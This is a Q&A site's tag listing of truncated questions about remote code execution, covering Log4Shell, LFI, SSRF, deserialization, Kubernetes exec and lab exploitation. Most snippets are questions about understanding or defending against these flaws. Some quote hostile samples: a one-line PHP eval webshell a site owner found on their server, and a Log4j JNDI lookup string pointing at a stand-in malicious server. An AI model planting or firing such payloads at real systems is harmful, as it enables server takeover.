Questions tagged [remote-code-execution]

Remote code execution is the process of running arbitrary code on a device over some type of network. The code can either be malicious, such as a code injection on a website, or voluntary, such as with Java Remote Method Invocation.

Filter by
Sorted by
Tagged with
0 votes
0 answers
20 views

Is it possible to exec pods in Kubernetes via a metrics server?

I am trying to exec arbitrary commands on a pod via the Kubernetes metrics server. I am doing so by sending HTTP requests to the metrics server endpoint. These are the paths that I can send requests ...
user avatar
0 votes
1 answer
36 views

Kubernetes user impersonation to obtain exec privileges

I am exploring CVE 2018-1002105 about privilege escalation vulnerabilities in Kubernetes. As a remote unuauthenticated user, I would want to make use of a metrics server deployed on my cluster to exec ...
user avatar
1 vote
1 answer
66 views

New York Times article about FBI secretly removing malware from U.S. corporate servers - would this indicate they have a government backdoor?

New York times just ran an article titled "U.S. Says It Secretly Removed Malware Worldwide, Pre-empting Russian Cyberattacks" that stated The United States said on Wednesday that it had ...
user avatar
  • 135
1 vote
0 answers
53 views

RCE through specifying .NET type or namespace?

I'm testing an application that allows the user to provide an XML file that will be processed. (I've already tried typical XML attacks, such as XXE.) One of the elements of the XML file allows the ...
user avatar
  • 79
1 vote
1 answer
131 views

Log4shell - Should affected servers be "nuked from the orbit"?

Considering how log4shell seems trivial to exploit and the important control level it gives to an attacker, should we wipe everything affected and start over? For example, we find out that a publicly ...
user avatar
  • 151
3 votes
1 answer
509 views

Can one protect from the Log4j exp by sanitizing the parameters?

A zero-day exploit affecting the popular Apache Log4j utility (CVE-2021-44228) was made public on December 9, 2021 that results in remote code execution (RCE). (From an email CloudFlare sent to users) ...
user avatar
  • 271
4 votes
1 answer
336 views

Does the log4j RCE vulnerability run even if the message is just a part of the logged string?

Does the JNDI URL need to be the full string being logged or could it be just a part of a logged string? For example, if the code contains: paramGivenFromOutside = "${jndi:ldap://maliciousServer:...
user avatar
0 votes
1 answer
252 views

Uploading/writing server files via SSRF?

Say I've found a perfect SSRF vulnerability in a web application that lets me send web requests to any URL, any host, any port, any scheme. I can use the file:// scheme to get the contents of local ...
user avatar
  • 79
0 votes
1 answer
88 views

Can I escalate a main domain SSTI/RCE to all the subdomains belonging to that domain?

I'm a newbie ethical hacker and bug bounty hunter. Lets, assume my target is somethingtohack.com, the thing is the company's scope defines that the main domain is out of scope, but subdomains like ...
user avatar
1 vote
1 answer
108 views

Need guidance on detecting how a hacked file got upload on my website [duplicate]

On my website I found a file containing this code <?php if(isset($_POST[z]))eval($_POST[z]);?> It's my understanding that the hacker is using this to execute any PHP command send via a POST ...
user avatar
  • 111
0 votes
2 answers
315 views

How to completely restrict Steam in Linux to defend against remote zero day exploits?

My question is, how can i completely restrict Steam's processes and modules to only have access to what they suppose to, and not be able to do anything malicious, for example running bin/sh or ...
user avatar
0 votes
0 answers
136 views

Unserialize URI with PHP and nginx to gain RCE

I stumbled upon this abomination in the code base of a project I'm working on and wondered if it constitutes a security issue. $requestUri = explode('?', $_SERVER['REQUEST_URI']); $requestUri = ...
user avatar
0 votes
1 answer
252 views

Attempting remote code execution, why does this php webshell code fail with single quotes?

In working on a vulnerable box, I found a field in a database table where one can insert php code. Based on this exploit: https://www.exploit-db.com/exploits/24044 I tried to use this code to make a ...
user avatar
1 vote
0 answers
660 views

NodeJS, unrestricted file upload, RCE [closed]

I'm testing on application which runs on NodeJS, and discovered unrestriced file upload vulnerability, path traversal is not possible. Uploaded file is visitable, I can upload .html to perform XSS ...
user avatar
  • 11
9 votes
2 answers
285 views

Who is at risk from the PrintNightmare RCE?

Microsoft released an emergency patch and stated that the vulnerability is being actively exploited in the wild. All the news articles describing the RCE are implying that any internet-connected ...
user avatar
0 votes
2 answers
207 views

How does Local File Inclusion (LFI) work?

In the past few days, I have created my own webserver to serve as my sandbox for learning pen-testing. I saw this blog (https://outpost24.com/blog/from-local-file-inclusion-to-remote-code-execution-...
user avatar
  • 15
0 votes
1 answer
2k views

RubySMB::Error::CommunicationError: Read timeout expired when reading from the Socket (timeout=30)

I've been playing around with the EternalBlue exploit recently. I've downloaded a Windows 10 iso file from 2016 and used it to set up a Windows 10 Pro VM as my sandbox. I also ran the nmap script and ...
user avatar
  • 15
0 votes
0 answers
86 views

ThinkPHP show my website as the req.host - did the request really come from my web server?

I have ThinkPHP wordpress garbage coming at my server https://medium.com/@knownsec404team/analysis-of-thinkphp5-remote-code-execution-vulnerability-5de8a0afb2d4 , for example: /public/index.php?s=...
user avatar
2 votes
2 answers
168 views

Is there any way an attacker can access the server and modify the site (php) code? [closed]

I recently had a breach on my site (laravel). I got aware of it after I tried to pull the code from github and found out that some files were modified. The files modified were mostly storage - logs/...
user avatar
  • 21
2 votes
4 answers
222 views

LFI php://input returning initial argument?

TLDR: Trying to execute commands on site thats got a LFI vuln. So I am making my post request to my vulnerable site and import requests header = { 'User-Agent':'Mozilla/5.0 (Windows; U; ...
user avatar
  • 21
2 votes
2 answers
418 views

Why is the first step for an attacker to get Reverse Shell after getting RCE?

If someone is having a Remote Code Execution, that means, one can run the commands on the server, then why does he need to get the Reverse Shell? Even though I can run system commands, then why do I ...
user avatar
0 votes
0 answers
140 views

Exploiting Groovy RCE

I'm trying to exploit groovy engine for RCE. However, the developer fixed by restricting the method calls with name 'exec', 'execute', 'run', 'start'. Is there any bypass or alternative to these ...
user avatar
  • 1
0 votes
0 answers
103 views

Remotely crashing a PC by only visiting a website? Is this an at least 6 year old WebGL bug?

http://hunger.hu/webgl.html WARNING: only visit this website, it you don't mind crashing your PC! so how is this possible? the website dates back to 2014! It is 2020 and by only visiting a website ...
user avatar
1 vote
1 answer
129 views

Rogue network printers as an attack vector in windows

I recently installed a new printer in our network. Just because I was interested, I switched to wireshark when scanning for and adding the printer on windows. I noticed that it was discoverd through ...
user avatar
  • 13
0 votes
1 answer
468 views

DVWA - Converting Local File Inclusion to Remote Code Exploitation

I'm reading this blog and it says: If the /proc/self/environ file can be accessed through LFI, then in this case “RCE” can be achieved by requesting the file in combination with the payload written ...
user avatar
  • 606
3 votes
1 answer
211 views

Is this a remote code execution vulnerability?

I am planning to evaluate and install a publicly available software. https://github.com/opensemanticsearch/open-semantic-search While reviewing the issues on github, there is an issue open which ...
user avatar
  • 133
0 votes
1 answer
1k views

LFI to RCE through User-Agent

I'm doing a pentest on a FreeBSD machine running CuppaCMS. Already managed to login into the CMS with admin privilege, but it only takes me to a manager menu, with some options to change some tables ...
user avatar
0 votes
0 answers
67 views

Securing server-sent shaders

I have been implementing server-sent shaders using OpenGL for a game (GLSL version 1.20.8). Executing server-sent shaders on the client obviously is remote code execution, which tends to be a bad ...
user avatar
  • 101
1 vote
1 answer
127 views

Dealing with a large number of bad chars

I have recently discovered a Buffer Overflow vulnerability that leads to Remote Code Execution. However, due to the structure of the application assessed, a lot of so-called 'bad chars' came up. The ...
user avatar
2 votes
1 answer
1k views

Dangers of Electron's "shell.openExternal" on untrusted content

I'm curious about the actual dangers of executing shell.openExternal on untrusted content. Documentation specifically states that this can be leveraged for RCE: Improper use of openExternal can be ...
user avatar
  • 123
0 votes
1 answer
199 views

Deserialization Opportunity?

I have minimal experience exploiting deserialization vulnerabilities and I am working on and I have identified the following URL endpoint. This is it URL Decoded: /Account/Register?Count=0&Keys=...
user avatar
0 votes
0 answers
165 views

How is malicious code executed on android devices without owners' knowledge?

I was wondering how hackers were able to gain remote access to one's android device with the help of just a .PNG file. This vulnerability was announced by Google but they didn't provide much ...
user avatar
2 votes
2 answers
361 views

Are alphanumeric strings safe to pass to a bash script?

I'm currently developing a web service that takes user input and passes it to a bash script as an argument. I know that without sanitizing this allows for remote command execution. So I want to know ...
user avatar
2 votes
2 answers
779 views

Remote code execution over WAN

Say I am on a a computer behind a NAT and I want to execute an RCE exploit on another computer behind a different NAT(note that no ports are forwarded to the victim's computer on his/her NAT) Could I ...
user avatar
  • 21
0 votes
2 answers
541 views

Accessing a hidden token file in a website using RFI?

In class, I was given the task of using LFI and RFI to find tokens hidden in specific web pages. I completed the first two tasks fine, however, there is another task, the final boss if you will, that ...
user avatar
2 votes
0 answers
150 views

Reverse TCP - Bind to a specific port

So, I'm trying to solve a CTF challenge that involves exploiting a remote service. The service doesn't check for the size of the input and there is a buffer overflow vulnerability. However, before I ...
user avatar
1 vote
1 answer
153 views

Is it possible to exploit computer vision to achieve remote code execution?

What kind of vulnerability in the implementation of a vision-based machine learning system (object recognition, for example) would enable an attacker to achieve remote code execution? The only ...
user avatar
  • 153
1 vote
2 answers
161 views

Exploitation tactics for heap over-reading?

One of recent CVEs particularly 2019-13615 related to VLC media player, attracted my attention because of the developer reaction: Any non-exploitable read overflow get CVSS of 9.8, like VLC is a ...
user avatar
  • 163
0 votes
3 answers
652 views

How to exploit RCE vulnerability for machine on local network [closed]

Can someone explain a technique when I know that I can expoit RCE on a server that is located in an internal network but I don't understand how to get a reply back from the payload once it gets inside ...
user avatar
68 votes
1 answer
12k views

Unusual mail headers show evidence of MTA attack. Have I been pwned?

Today I found an extremely unusual email in my catchall inbox, without subject, sender or content. My Gmail client for android reported the mail was sent by me, triggering a nuclear alert in my mind. ...
user avatar